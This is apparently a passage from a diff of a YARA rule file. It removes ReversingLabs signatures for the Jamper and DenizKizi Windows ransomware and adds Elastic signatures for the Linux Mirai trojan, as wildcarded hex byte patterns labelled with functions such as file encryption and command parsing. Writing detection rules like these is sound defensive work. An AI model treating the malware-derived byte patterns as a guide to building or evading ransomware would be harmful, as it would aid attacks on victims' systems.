-            ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 55 ?? 8B C3 E8 4F FE FF FF E9 ?? ?? ?? ?? 8D 95
-        }
-		$file_extensions_2 = {
-            ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85
-            ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ??
-            ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ??
-            ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ??
-            ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8
-        }
-		$file_extensions_3 = {
-            8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ??
-            ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ??
-            ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B
-            85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ??
-            ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ??
-            8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85
-            ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
-            8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B
-            45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8
-        }
-		$file_extensions_4 = {
-            0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ??
-            ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D
-            95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45
-            ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F
-            84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ??
-            ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ??
-            E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84
-        }
-		$file_extensions_5 = {
-            ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ??
-            ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8
-            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ??
-            ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
-            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ??
-            ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84
-            }
-		$parse_server_commands = {
-            83 F9 ?? 0F 84 E0 00 00 00 50 53 56 57 89 C3 89 D6 89 CF 31 D2 8A 06 8A 56 ?? 3C ?? 74 25 3C ?? 74 3E 3C ?? 74 51 3C ??
-            74 5C 3C ?? 74 76 3C ?? 0F 84 84 00 00 00 3C ?? 0F 84 8B 00 00 00 E9 97 00 00 00 83 F9 ?? 89 D8 7F 0A E8 ?? ?? ?? ?? E9
-            91 00 00 00 89 CA E8 ?? ?? ?? ?? E9 85 00 00 00 83 F9 ?? 89 D8 7F 07 E8 ?? ?? ?? ?? EB 77 89 CA E8 ?? ?? ?? ?? EB 6E 89
-            D8 83 C3 ?? E8 ?? ?? ?? ?? 4F 7F F3 EB 5F 55 89 D5 8B 54 2E ?? 89 D8 03 5C 2E ?? 8B 4C 2E ?? 8B 12 E8 62 FF FF FF 4F 7F
-            E8 5D EB 41 55 89 D5 89 D8 03 5C 2E ?? 89 F2 E8 ?? ?? ?? ?? 4F 7F F0 5D EB 2B 89 D8 83 C3 ?? E8 ?? ?? ?? ?? 4F 7F F3 EB
-            1C 89 D8 89 F2 83 C3 ?? E8 ?? ?? ?? ?? 4F 7F F1 EB 0B 5F 5E 5B 58 B0 ?? E9 ?? ?? ?? ?? 5F 5E 5B 58 C3 8B C0 B9 ?? ?? ??
-            ?? E9 0A FF FF FF C3
-        }
+		$a = { 10 89 C3 80 BC 04 83 00 00 00 20 0F 94 C0 8D B4 24 83 00 00 00 25 FF 00 }
 
 	condition:
-		uint16(0)==0x5A4D and (($file_extensions_1 and $file_extensions_2 and $file_extensions_3 and $file_extensions_4 and $file_extensions_5) and $parse_server_commands)
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Jamper : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_3Fe3C668 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Jamper ransomware."
-		author = "ReversingLabs"
-		id = "9ba9358e-8f67-5d0e-a9bc-b3b10cd3a8b2"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Jamper.yara#L1-L110"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "826f8fa7cc92b279c609a9ab6a87c32940e37b4c2476854af75bbed29cb3eaf2"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "3fe3c668-89f4-4601-a167-f41bbd984ae5"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L518-L535"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "e75b2dca7de7d9f31a0ae5940dc45d0e6d0f1ca110b5458fc99912400da97bde"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Jamper"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "2a79caea707eb0ecd740106ea4bed2918e7592c1e5ad6050f6f0992cf31ba5ec"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$encrypt_files_p1 = {
-            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D
-            ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 55 ??
-            89 45 ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 DB 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? 8B
-            45 ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ??
-            ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89
-            85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ??
-            ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ??
-            8B 45 ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 6A ?? 8B 4D ?? B2 ?? A1 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 10 FF 12 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 83
-            BD ?? ?? ?? ?? ?? 75 ?? 83 BD ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? EB ?? 0F 8E ?? ?? ??
-            ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 76 ?? EB ?? 7E ?? C7 85
-            ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B 85 ?? ?? ?? ?? 89 85
-            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8
-            ?? ?? ?? ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 8D 85 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 83 FB ?? 7F ?? B8
-        }
-		$encrypt_files_p2 = {
-            E8 ?? ?? ?? ?? 8B D0 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8
-            ?? ?? ?? ?? 43 83 FB ?? 75 ?? 8B 85 ?? ?? ?? ?? 8B D0 8D 45 ?? E8 ?? ?? ?? ?? 8D 45
-            ?? E8 ?? ?? ?? ?? 8B D0 8B 8D ?? ?? ?? ?? 8B 45 ?? 8B 18 FF 53 ?? 83 BD ?? ?? ?? ??
-            ?? 75 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8D 45 ?? E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B 45 ?? 8B 18 FF 53 ?? EB ?? 8D 45 ??
-            E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 33 D2 8B 45 ?? 8B 08 FF 51 ?? 83
-            BD ?? ?? ?? ?? ?? 75 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? 8D 45 ?? E8 ?? ?? ?? ??
-            8B D0 B9 ?? ?? ?? ?? 8B 45 ?? 8B 18 FF 53 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 B9
-            ?? ?? ?? ?? 8B 45 ?? 8B 18 FF 53 ?? 55 E8 ?? ?? ?? ?? 59 55 E8 ?? ?? ?? ?? 59 EB ??
-            55 E8 ?? ?? ?? ?? 59 A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B 45 ?? 8B
-            18 FF 53 ?? 55 E8 ?? ?? ?? ?? 59 B3 ?? 8D 45 ?? E8 ?? ?? ?? ?? 84 DB 74 ?? 8D 95 ??
-            ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B 8D ?? ?? ?? ?? 8D 45 ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B
-            F8 57 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 56 57 E8 ?? ?? ?? ?? 33 C0 5A 59 59
-            64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
-        }
-		$find_files = {
-            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 89 55 ?? 89 45 ?? 8B 45 ?? 89 45 ?? 68 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ??
-            ?? 89 C3 85 DB 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 FF D3 85 C0 74
-            ?? 8B 45 ?? 50 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45
-            ?? 80 38 ?? 75 ?? 8B 45 ?? 80 78 ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? E8 ?? ??
-            ?? ?? 8B F0 80 3E ?? 0F 84 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 8B F0 80 3E ?? 0F 84
-            ?? ?? ?? ?? EB ?? 8B 75 ?? 83 C6 ?? 8B DE 2B 5D ?? 8D 43 ?? 50 8B 45 ?? 50 8D 85 ??
-            ?? ?? ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 8B F8 8B C7 2B C6
-            03 C3 40 3D ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? 8B C7 2B C6 40 50 56 8D 85 ?? ?? ?? ?? 03
-            C3 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 89 45
-            ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ??
-            8D 53 ?? 03 C2 40 3D ?? ?? ?? ?? 7F ?? C6 84 1D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B C3
-            48 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 03 C3 40 50 E8 ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? 50 E8 ?? ?? ?? ?? 40 03 D8 8B F7 80 3E ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 8D 85
-            ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 5F 5E 5B 8B E5 5D C3
-        }
-		$enum_resources = {
-            55 8B EC 83 C4 ?? 53 56 57 33 D2 89 55 ?? 89 55 ?? 89 55 ?? 33 D2 55 68 ?? ?? ?? ??
-            64 FF 32 64 89 22 33 D2 55 68 ?? ?? ?? ?? 64 FF 32 64 89 22 8D 55 ?? 52 50 6A ?? 6A
-            ?? 6A ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 33 C0 5A 59 59 64 89 10 E9 ?? ??
-            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 50 6A ?? E8 ?? ?? ?? ?? 89
-            45 ?? 8D 45 ?? 50 8B 45 ?? 50 8D 45 ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 83 7D
-            ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 48 85 C0 0F 82 ?? ?? ?? ?? 40 89 45 ?? 8B 45 ?? 8B
-            58 ?? 85 DB 0F 84 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 45 ?? 8B
-            D3 E8 ?? ?? ?? ?? 8D 45 ?? 8B 55 ?? 0F B6 12 88 50 ?? C6 00 ?? 8D 55 ?? 8D 45 ?? E8
-            ?? ?? ?? ?? 8D 45 ?? 8B 55 ?? 0F B6 52 ?? 88 50 ?? C6 00 ?? 8D 55 ?? 8D 45 ?? B1 ??
-            E8 ?? ?? ?? ?? 8D 55 ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 50 8D 55 ?? B8 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8B 55 ?? 58 E8 ?? ?? ?? ?? 75 ?? A1 ?? ?? ?? ?? 8B 40 ?? 8B 55 ?? 8B
-            08 FF 51 ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? F7
-            40 ?? ?? ?? ?? ?? 76 ?? 8B 45 ?? E8 ?? ?? ?? ?? 83 45 ?? ?? FF 4D ?? 0F 85 ?? ?? ??
-            ?? EB ?? 81 7D ?? ?? ?? ?? ?? 74 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? EB ?? 8B 45 ?? 50 E8
-            ?? ?? ?? ?? 81 7D ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 33 C0
-            5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 50 E8 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ??
-            ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3
-        }
+		$a = { 00 84 C0 0F 95 C0 48 FF 45 E8 84 C0 75 E9 8B 45 FC C9 C3 55 48 }
 
 	condition:
-		uint16(0)==0x5A4D and ($enum_resources) and ($find_files) and ( all of ($encrypt_files_p*))
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Denizkizi : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_Eedfbfc6 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects DenizKizi ransomware."
-		author = "ReversingLabs"
-		id = "e16a00d6-d5b8-5702-9cd7-d037b0ff46a3"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.DenizKizi.yara#L1-L88"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "fbeb01263d6f68141e094ba8fb1c1a54c601ab24292f5c6b0eb8cb0c49f46afc"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "eedfbfc6-98a4-4817-a0d6-dcb065307f5c"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L537-L555"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b7342f7437a3a16805a7a8d4a667e0e018584f9a99591413650e05d21d3e6da6"
+		logic_hash = "949b32db1a00570fc84fbbe510f57f6e898d089efd3fedbd7719f8059021b6bc"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "DenizKizi"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "c79058b4a40630cb4142493062318cdfda881259ac95b70d977816f85b82bb36"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$find_files = {
-            8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ??
-            ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ??
-            ?? 64 FF 30 64 89 20 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ??
-            ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 7E ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ??
-            8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? 8D 85 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B
-            55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 F6 85 ?? ?? ??
-            ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ??
-            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8
-            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8
